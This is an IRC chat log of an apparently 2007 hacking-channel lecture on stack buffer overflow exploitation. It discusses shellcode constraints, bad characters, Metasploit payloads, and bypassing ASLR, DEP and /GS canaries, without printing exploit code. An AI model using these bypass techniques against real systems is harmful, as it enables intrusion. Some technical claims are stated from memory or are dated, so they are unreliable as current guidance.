<Aelphaeis> therefore the shellcode doesn't work
<Syn4ps3> 4[ D4rk 4]
<Syn4ps3> just probe with diferent number of A's
<Syn4ps3> and it still works :)
<D4rk> hmm let me check the addresses with arwin
<Syn4ps3> but without the messages
<Aelphaeis> no wait D4rk sorry, you may not have done it correctly
<Balgan> mine goes same way has Dark
<Balgan> D4rk
<Balgan> i mean
* SeventotheSeven (Seventothe@seven.to.the.seven) has joined #bhf
<Syn4ps3> mine =
* BHF sets mode: +h SeventotheSeven
<SeventotheSeven> nothing happened for me
<Balgan> but i noticed something D4rk ur windows is in PT or Brazilian ?
<Balgan> coz of C:\DOCUME~1\Dark\Escritorio
* z0r (~pruebas@bluehell-8FD5E1B4.red-62-57-233.user.auna.net) has joined #bhf
<z0r> hi there
<D4rk> ahh lol, its spanish
<Balgan> ye it might have to do with that
<Aelphaeis> Well if you guys did everything correctly and your OS is Windows XP SP2 English
<Aelphaeis> it should of worked
<D4rk> im checking the addresses
<Balgan> since mine is in PT
<Aelphaeis> the addresses are not case sensitive, but the commands are
<SeventotheSeven> i'll move to a diff dir and try again
<D4rk> what's strange is that i've tryied omega7's shellcode before and worked good
<SeventotheSeven> one with shorter address
* matsch (~matsch@bluehell-8B7F4498.cable.fcom.ch) has joined #bhf
<matsch> gd mornig from switzerland
<Aelphaeis> good morning, the lecture is currently going on, so please be quiet
* z0r (~pruebas@bluehell-8FD5E1B4.red-62-57-233.user.auna.net) Quit (Quit: z0r )
<Aelphaeis> ok, well for those of you who have the appropriate software
<Aelphaeis> plus hardware that doesn't support DEP, or have DEP turned off it should of worked if you did it correctly
<Aelphaeis> For the purpose of this lecture (at the moment) we will not weed through and try and find out what you did wrong
<Aelphaeis> all of you now have a good grasp of how to exploit a stack based buffer overflow (assuming everything goes right) ?
<Umdebaba> yup
<sm> everythings find.. just need to find some shellcode:D
<Balgan> Aelphaeis can u plz take a quick look
<Balgan> see if i made everything right
<Balgan> http://clientes.netvisao.pt/mariavas/myexploit.c
<sm> fine*
<Aelphaeis> Balgan please leave it till the end of this lecture
<SeventotheSeven> yes
<Balgan> ok Aelphaeis
<Aelphaeis> now as I said, you should all have a good grasp of it now
<Aelphaeis> moving onto the next subject
<Aelphaeis> Protection Schemes and Limitations
<Aelphaeis> First some basic limitations
<Fakep> didn't work (
<Aelphaeis> obviously there is a limit to the shellcode you can use based on size
<matsch> 1
<Aelphaeis> I know fakep, just wait
<Fakep> ok
<Aelphaeis> A smart thing to do may be to store your NOPSLED + Shellcode inside another variable then redirect the program flow to taht
* insanity (_th3-x@FAA89349.37D30F16.F175557F.IP) has joined #bhf
<Aelphaeis> the location of the NOPSLED should be visible in ollydbg if you know where to look
<Aelphaeis> shellcode cannot contain NULL bytes, as you guys should know
<Aelphaeis> any shellcode that does would have to be encoded before it could be used
<Aelphaeis> For those of you wanting to know where to get usuable shellcode, http://metasploit.com:55555/PAYLOADS
<Aelphaeis> You can use metasploits shellcode generator, you can tell the generator which sort of characters are not allowed
<Aelphaeis> Obviously, 0x00 would not be allowed (NULL byte)
<Aelphaeis> and of course with certain protocols there would be certain characters you would not be able to use
<Aelphaeis> generally, in some protocols some characters has a special means. We name them "Bad Characters".
For example in ftp protocol the 0x20 character is a bad character so that it can't be used in the shellcode and the
protocol treats them in a different way (it's used as blank-space.. and in ftp applications, it represents the
termination of a string) Thus your shellcode execution will be stopped.
* r0rkty (~h4x@ircop.bluehell.org) has joined #bhf
* dcboy (~szdcboy@EAE3BC56.AD403039.C232DFAA.IP) Quit (Ping timeout )
* SubZ (~U2FsdGVkX@netadmin.bluehell.org) has joined #bhf
* BHF sets mode: +v SubZ
<Aelphaeis> As far as protection schemes go, there are many different protection schemes
<Aelphaeis> For those of you wanting to venture into Linux exploitation, I will tell you (you will need to know this)
<Aelphaeis> since (from memory) the 2.6.12 or 2.6.11 Linux kernel, ASLR is implemented by default
<Aelphaeis> that is the addresses in memory are randomized, they are not static so this can pose a big problem when it comes to exploitation
<Aelphaeis> of course this can be bypassed because there are areas in memory in Linux which are static, one of which has a JMP ESP
<Aelphaeis> xD
<Aelphaeis> Another probably more serious and hard to bypass protection is DEP
<SubZ> ah you and your memory hacking ;P
<santabug> (ASLR=>Adress Space Layout Randomization)
<Aelphaeis> Data Execution Prevention
<Aelphaeis> support for DEP was added into Windows XP when SP2 came out
<Aelphaeis> and into Windows Server 2003 as of Service Pack 1
* dcboy (~szdcboy@EAE3BC56.AD403039.C232DFAA.IP) has joined #bhf
<santabug> http://opcodes.free.fr/tmp/randomized_stack.txt <- look on linux
<Aelphaeis> DEP is a technology on most 64 bit CPU's that marks areas's of memory as non-executable
<Aelphaeis> Thank you santabug
<Aelphaeis> as I said earlier, there are areas in memory in Linux that are static
<Aelphaeis> now, DEP isn't 100% effective
<dni> Aelph: not working for me dude
<dni> i compiled
* sarkar112 (~sarkar112@bluehell-C612ADDB.nycap.res.rr.com) has joined #bhf
<dni> and i run it,. but i never get the winpopup
<Aelphaeis> first, who here remembers that WMF exploit that came out a while ago
<Balgan> me
<sarkar112> me
<Aelphaeis> ok dni, but as I said, will help ya out later
<Umdebaba> haha i remember
* SeventotheSeven (Seventothe@seven.to.the.seven) Quit (Ping timeout )
<Aelphaeis> so everyone please stfu
<dni> ok
<Aelphaeis> no one else remembers?
<sm> me
<sm> the one few months ago?
<D4rk> i do
<Aelphaeis> yes sm I believe it was
<sm> k
<Aelphaeis> maybe a bit further back, I can't remember
<Aelphaeis> DEP didn't protect against that exploit
<r0rkty> Aelphaeis is the lecture already over ?
<Balgan> no
* SeventotheSeven (~seven@seven.to.the.seven) has joined #bhf
* BHF sets mode: +h SeventotheSeven
<Aelphaeis> the reason being is that for some reason there was an area in memory that has READ, WRITE, EXECUTE permissions
* LiquidWorm (~jox@7084D5A4.85A73766.880F58B.IP) Quit (Ping timeout )
<Syn4ps3> lol
* nic` (0wnage@i.laid.your.sister.with.a.broken.c0nd0m.us) Quit (Ping timeout )
<Aelphaeis> DEP can be theoritically bypassed by calling a function in windows (forget the name off the top of my head)
and allocating memory that has EXECUTE permissions
<Aelphaeis> and storing your shellcode in there
* LiquidWorm (~jox@7084D5A4.85A73766.880F58B.IP) has joined #bhf
<Aelphaeis> of course this is pretty complicated
<Aelphaeis> Another protection mechanism used by Microsoft is the /GS Flag which is turned on by default in MSVC++ 2003
<Aelphaeis> it places what is called a canary before the EIP in memory
<Aelphaeis> if the canary is overwritten when the application returns (from memory) the program will simply crash
<Aelphaeis> not allowing hijacking of the EIP.
<Aelphaeis> there are other protection mechanisms that are similar, that are patches for the gcc compiler
<Aelphaeis> many of these can be bypassed, but of course this is beyond the scope of this lecture
<santabug> For more information aboit MSVC++ 2003 protection mechanism : www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf
<dcboy> can i ask one question>?
<Aelphaeis> what was in SP0
<Aelphaeis> I believe they fixed that in SP1
<santabug> k
<Aelphaeis> see their protection mechanism in their compiler when they first released it was flawed
<Aelphaeis> David Litchfield discovered that they used their compiler (when it was "broken") to compile Windows Server 2003 SP0
<Aelphaeis> and therefore the protection mechanism on Windows Server 2003 SP0 could be bypassed
* dcb0y (~szdcboy@4F81535B.C351D3EE.C5C0FE80.IP) has joined #bhf
<Aelphaeis> *pretty much everyone buffer overflow protection scheme released can be bypassed some how*
<Aelphaeis> of course alot of them limit what you can do, and make exploitation a hell of alot harder
<Aelphaeis> The only reason protection against stack based buffer overflows is for programmers to right secure code.
<Aelphaeis> I will not bother covering this, as this isn't part of the lecture.
<Aelphaeis> and I won't gain anything from teaching people how to write secure code
<Aelphaeis> xD
<santabug> lol yes
<Aelphaeis> of course, those of you who understand how the vulnerability occurs could surely figure out how to write relatively secure code
<Aelphaeis> at least when it comes to stack overflows
* dcboy (~szdcboy@EAE3BC56.AD403039.C232DFAA.IP) Quit (Ping timeout )
<dcb0y> i have question
<Aelphaeis> THIS ENDS THIS IRC LECTURE
<Aelphaeis> wait god damnit
<Aelphaeis> Time: 12:07 Perth, Western Australia
Greetz To
htek, FRSilent, Read101, nic`, BSoD, r0rkty/John h4x, SyS64738, morning_wood, SysSpider, fritz, darkt3ch,
SeventotheSeven, Predator/ill skillz, BioHunter, Digerati, butthead, PTP, felosi, wicked/aera, spiderlance,
sNKenjoi, tgo, melkor, mu-tiger, royal, Wex, ksv, GoTiT4FrE, D4rk, muon, drygol, santabug, skvoznoy,
SuicidalManiac, theNerd, CKD, dlab, snx, skiddieleet, ProwL, Edu19, drygol, kon, RedemptiX, dni, belgther,
deca, icenix, j0sh, werx, oHawko,Cephexin/Cefixim, FLX, kingvandal, illbot, str0ke
and Kenny, Blake & Stephen from GSO.
# milw0rm.com [2007-01-29]
